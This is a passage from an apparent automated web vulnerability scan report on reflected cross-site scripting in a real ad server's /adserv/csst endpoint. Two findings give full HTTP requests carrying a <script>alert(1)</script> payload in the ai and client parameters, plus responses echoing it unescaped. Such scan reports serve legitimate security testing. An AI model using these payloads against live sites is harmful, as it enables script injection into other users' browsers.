Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:48 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:48 GMT
Content-Length: 3562

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036228585;click0=http://ad.media6degrees.com/adserv/clk?tId=5000850691403902|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...
R0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ2b5e5"><script>alert(1)</script>b97520b2442&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl=">
...[SNIP]...

4.102. http://ad.media6degrees.com/adserv/csst [ai parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the ai request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d09d"><script>alert(1)</script>7081ba17929 was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=9d09d"><script>alert(1)</script>7081ba17929&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxEkxKiaw00ein44tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:48 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usn01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:48 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:48 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qm0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j380183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:48 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:48 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:48 GMT
Content-Length: 2410

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036228902;click0=http://ad.media6degrees.com/adserv/clk?tId=5000893240583856|cId=6522|secId=2834|height=600|pubId=2|advId=1065|width=160|spId=33080|invId=4139|adType=iframe|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=9d09d"><script>alert(1)</script>7081ba17929&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl=" WIDTH=160 HEIGHT=600 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'
...[SNIP]...

4.103. http://ad.media6degrees.com/adserv/csst [client parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the client request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dad6f"><script>alert(1)</script>5cc7b6d4502 was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=dad6f"><script>alert(1)</script>5cc7b6d4502&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; 